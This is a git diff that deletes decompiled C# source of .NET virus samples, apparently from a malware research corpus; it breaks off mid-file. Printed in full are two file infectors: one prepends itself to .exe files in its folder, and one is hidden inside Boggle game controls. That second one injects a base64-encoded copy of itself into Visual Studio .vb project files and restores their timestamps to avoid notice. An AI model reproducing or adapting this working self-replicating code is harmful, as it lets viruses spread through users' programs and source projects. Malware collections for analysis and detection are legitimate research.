CPU.ActiveCfg = Release|Any CPU - {C8EE663A-A764-4BB0-9359-2432FE32142E}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/msil_syra_c.cs b/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/msil_syra_c.cs deleted file mode 100644 index c34e22e7..00000000 --- a/MSIL/Virus/Win32/H/Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa/msil_syra_c.cs +++ /dev/null @@ -1,162 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: msil_syra_c -// Assembly: syrac, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 59A30167-FC92-46E3-93AD-211B753EB8EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.HLLP.Flatei.f-b13d9fb226c2ebac8fd101849be5e5cc0b190df469720bf55f3a3163505550aa.exe - -using System; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -internal class msil_syra_c -{ - public static void Main(string[] args) - { - Module module = Assembly.GetExecutingAssembly().GetModules()[0]; - foreach (string file in Directory.GetFiles(Directory.GetCurrentDirectory(), "*.exe")) - { - try - { - AssemblyName.GetAssemblyName(file); - if (!(msil_syra_c.Sha1(module.FullyQualifiedName) == msil_syra_c.Sha1(file))) - { - try - { - msil_syra_c.Infect(file); - break; - } - catch - { - } - } - } - catch - { - } - } - FileStream input = new FileStream(module.FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - int length = (int) input.Length - 5632; - binaryReader.BaseStream.Seek(5632L, SeekOrigin.Begin); - byte[] buffer = new byte[(int) checked ((uint) length)]; - int count = length; - int index = 0; - int num1; - for (; count > 0; count -= num1) - { - num1 = binaryReader.Read(buffer, index, count); - if (num1 != 0) - index += num1; - else - break; - } - binaryReader.Close(); - int num2 = new Random().Next(2000); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream("p" + (object) num2 + "h.exe", FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer); - binaryWriter.Close(); - string currentDirectory = Directory.GetCurrentDirectory(); - msil_syra_c.w32api.ShellExecute(0, (string) null, "p" + (object) num2 + "h.exe", (string) null, currentDirectory, 1); - do - { - try - { - File.Delete("p" + (object) num2 + "h.exe"); - } - catch - { - } - } - while (File.Exists("p" + (object) num2 + "h.exe")); - if (new Random().Next(4) != 3) - return; - msil_syra_c.w32api.MessageBox(0, "::::only SHA1gging .NET files::::", "msil.syra.c by alcopaul", 0U); - } - - public static void Infect(string host) - { - BinaryReader binaryReader1 = new BinaryReader((Stream) new FileStream(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, FileMode.OpenOrCreate, FileAccess.Read)); - binaryReader1.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer1 = new byte[5632]; - int count = 5632; - int index1 = 0; - int num1; - for (; count > 0; count -= num1) - { - num1 = binaryReader1.Read(buffer1, index1, count); - if (num1 != 0) - index1 += num1; - else - break; - } - binaryReader1.Close(); - FileStream input = new FileStream(host, FileMode.OpenOrCreate, FileAccess.Read); - BinaryReader binaryReader2 = new BinaryReader((Stream) input); - binaryReader2.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer2 = new byte[(int) checked ((uint) input.Length)]; - int length = (int) input.Length; - int index2 = 0; - int num2; - for (; length > 0; length -= num2) - { - num2 = binaryReader2.Read(buffer2, index2, length); - if (num2 != 0) - index2 += num2; - else - break; - } - binaryReader2.Close(); - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(host, FileMode.OpenOrCreate, FileAccess.Write)); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.Begin); - binaryWriter.Write(buffer1); - binaryWriter.Write(buffer2); - binaryWriter.Close(); - } - - public static string Sha1(string data) - { - BinaryReader binaryReader = new BinaryReader((Stream) new FileStream(data, FileMode.OpenOrCreate, FileAccess.Read)); - binaryReader.BaseStream.Seek(0L, SeekOrigin.Begin); - byte[] buffer = new byte[2048]; - int count = 2048; - int index = 0; - int num; - for (; count > 0; count -= num) - { - num = binaryReader.Read(buffer, index, count); - if (num != 0) - index += num; - else - break; - } - binaryReader.Close(); - return msil_syra_c.BytesToHexString(new SHA1CryptoServiceProvider().ComputeHash(buffer)); - } - - private static string BytesToHexString(byte[] bytes) - { - StringBuilder stringBuilder = new StringBuilder(64); - for (int index = 0; index < bytes.Length; ++index) - stringBuilder.Append(string.Format("{0:X2}", (object) bytes[index])); - return stringBuilder.ToString(); - } - - public class w32api - { - [DllImport("shell32.dll", CharSet = CharSet.Auto)] - public static extern int ShellExecute( - int hWnd, - string oper, - string file, - string param, - string dir, - int type); - - [DllImport("user32.dll", CharSet = CharSet.Auto)] - public static extern int MessageBox(int hWnd, string text, string caption, uint type); - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/AssemblyInfo.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/AssemblyInfo.cs deleted file mode 100644 index 9bb4a561..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: Guid("C5DE8F89-A0C3-4965-BDB8-91C73C66005F")] -[assembly: CLSCompliant(true)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyProduct("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyVersion("1.0.1320.31511")] diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.cs deleted file mode 100644 index ea6c1dad..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.cs +++ /dev/null @@ -1,237 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.BogBorder -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class BogBorder : PictureBox - { - private IContainer components; - private BogBorder.Direction clsBorderDirection; - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public BogBorder() - { - this.Resize += new EventHandler(this.BogBorder_Resize); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() => this.components = (IContainer) new System.ComponentModel.Container(); - - public BogBorder.Direction BorderDirection - { - get => this.clsBorderDirection; - set - { - this.clsBorderDirection = value; - this.Refresh(); - } - } - - protected override void OnPaint(PaintEventArgs pe) - { - Pen pen1 = new Pen(System.Drawing.Color.Black); - Rectangle rect = new Rectangle(0, 0, this.Width, this.Height); - GraphicsPath graphicsPath1 = new GraphicsPath(); - GraphicsPath graphicsPath2 = new GraphicsPath(); - GraphicsPath graphicsPath3 = new GraphicsPath(); - GraphicsPath graphicsPath4 = new GraphicsPath(); - int red = (int) System.Drawing.Color.DarkGray.R; - int green = (int) System.Drawing.Color.DarkGray.G; - int blue = (int) System.Drawing.Color.DarkGray.B; - double width = (double) this.Width; - float StepValue = (float) this.Width / (float) red; - float limit = (float) width; - for (float num = 0.0f; FlowControl.ForNextCheckR4(num, limit, StepValue); num += StepValue) - { - checked { --red; } - checked { --green; } - checked { --blue; } - if (red == 0) - red = 1; - if (green == 0) - green = 1; - if (blue == 0) - blue = 1; - Pen pen2 = new Pen(System.Drawing.Color.FromArgb(red, green, blue)); - GraphicsPath graphicsPath5 = new GraphicsPath(); - GraphicsPath graphicsPath6 = new GraphicsPath(); - GraphicsPath graphicsPath7 = new GraphicsPath(); - PointF pointF1; - PointF pointF2; - PointF pointF3; - PointF pointF4; - Point point1; - Point point2; - switch (this.clsBorderDirection) - { - case BogBorder.Direction.Left: - GraphicsPath graphicsPath8 = graphicsPath5; - pointF1 = new PointF(num, 40f); - PointF pt1_1 = pointF1; - pointF2 = new PointF(num, num); - PointF pt2_1 = pointF2; - pointF3 = new PointF(num, num); - PointF pt3_1 = pointF3; - pointF4 = new PointF(40f, num); - PointF pt4_1 = pointF4; - graphicsPath8.AddBezier(pt1_1, pt2_1, pt3_1, pt4_1); - GraphicsPath graphicsPath9 = graphicsPath7; - pointF4 = new PointF(num, (float) checked (this.Height - 40)); - PointF pt1_2 = pointF4; - pointF3 = new PointF(num, (float) this.Height - num); - PointF pt2_2 = pointF3; - pointF2 = new PointF(num, (float) this.Height - num); - PointF pt3_2 = pointF2; - pointF1 = new PointF(40f, (float) this.Height - num); - PointF pt4_2 = pointF1; - graphicsPath9.AddBezier(pt1_2, pt2_2, pt3_2, pt4_2); - GraphicsPath graphicsPath10 = graphicsPath6; - point1 = new Point(checked ((int) Math.Round((double) num)), 40); - Point pt1_3 = point1; - point2 = new Point(checked ((int) Math.Round((double) num)), checked (this.Height - 40)); - Point pt2_3 = point2; - graphicsPath10.AddLine(pt1_3, pt2_3); - break; - case BogBorder.Direction.Right: - GraphicsPath graphicsPath11 = graphicsPath5; - pointF4 = new PointF((float) this.Width - num, 40f); - PointF pt1_4 = pointF4; - pointF3 = new PointF((float) this.Width - num, num); - PointF pt2_4 = pointF3; - pointF2 = new PointF((float) this.Width - num, num); - PointF pt3_3 = pointF2; - pointF1 = new PointF(0.0f, num); - PointF pt4_3 = pointF1; - graphicsPath11.AddBezier(pt1_4, pt2_4, pt3_3, pt4_3); - GraphicsPath graphicsPath12 = graphicsPath7; - pointF4 = new PointF((float) this.Width - num, (float) checked (this.Height - 40)); - PointF pt1_5 = pointF4; - pointF3 = new PointF((float) this.Width - num, (float) this.Height - num); - PointF pt2_5 = pointF3; - pointF2 = new PointF((float) this.Width - num, (float) this.Height - num); - PointF pt3_4 = pointF2; - pointF1 = new PointF(0.0f, (float) this.Height - num); - PointF pt4_4 = pointF1; - graphicsPath12.AddBezier(pt1_5, pt2_5, pt3_4, pt4_4); - GraphicsPath graphicsPath13 = graphicsPath6; - point2 = new Point(checked ((int) Math.Round((double) unchecked ((float) this.Width - num))), 40); - Point pt1_6 = point2; - point1 = new Point(checked ((int) Math.Round((double) unchecked ((float) this.Width - num))), checked (this.Height - 40)); - Point pt2_6 = point1; - graphicsPath13.AddLine(pt1_6, pt2_6); - break; - case BogBorder.Direction.Top: - LinearGradientBrush linearGradientBrush1 = new LinearGradientBrush(rect, System.Drawing.Color.DarkGray, System.Drawing.Color.Black, LinearGradientMode.Vertical); - graphicsPath6.AddRectangle(rect); - pe.Graphics.FillPath((Brush) linearGradientBrush1, graphicsPath6); - goto label_14; - case BogBorder.Direction.Bottom: - LinearGradientBrush linearGradientBrush2 = new LinearGradientBrush(rect, System.Drawing.Color.Black, System.Drawing.Color.DarkGray, LinearGradientMode.Vertical); - graphicsPath6.AddRectangle(rect); - pe.Graphics.FillPath((Brush) linearGradientBrush2, graphicsPath6); - goto label_14; - } - pe.Graphics.DrawPath(pen2, graphicsPath5); - pe.Graphics.DrawPath(pen2, graphicsPath7); - pe.Graphics.DrawPath(pen2, graphicsPath6); - graphicsPath4.AddPath(graphicsPath5, true); - graphicsPath4.AddPath(graphicsPath6, true); - graphicsPath4.AddPath(graphicsPath7, true); - } -label_14: - this.BackColor = System.Drawing.Color.DarkGray; - } - - private void BogBorder_Resize(object sender, EventArgs e) => this.Refresh(); - - public enum Direction - { - Left, - Right, - Top, - Bottom, - } - } -} diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.resx b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogBorder.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.cs b/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.cs deleted file mode 100644 index 095e3088..00000000 --- a/MSIL/Virus/Win32/L/Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833/BogButton.cs +++ /dev/null @@ -1,218 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Boggle.BogButton -// Assembly: Boggle, Version=1.0.1320.31511, Culture=neutral, PublicKeyToken=null -// MVID: B8BB850A-887A-43B2-B89D-3D1301289D01 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Lykov.b-5b4c66fd4c89a7645d7912c18b43ddd7b8db068aa896fea714881ce355eaf833.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Drawing2D; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Boggle -{ - public class BogButton : Button - { - private IContainer components; - private System.Drawing.Color[] BkGradColors; - private System.Drawing.Color[] TxtGradColors; - private string clsButtonText; - private bool clsEnabled; - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], 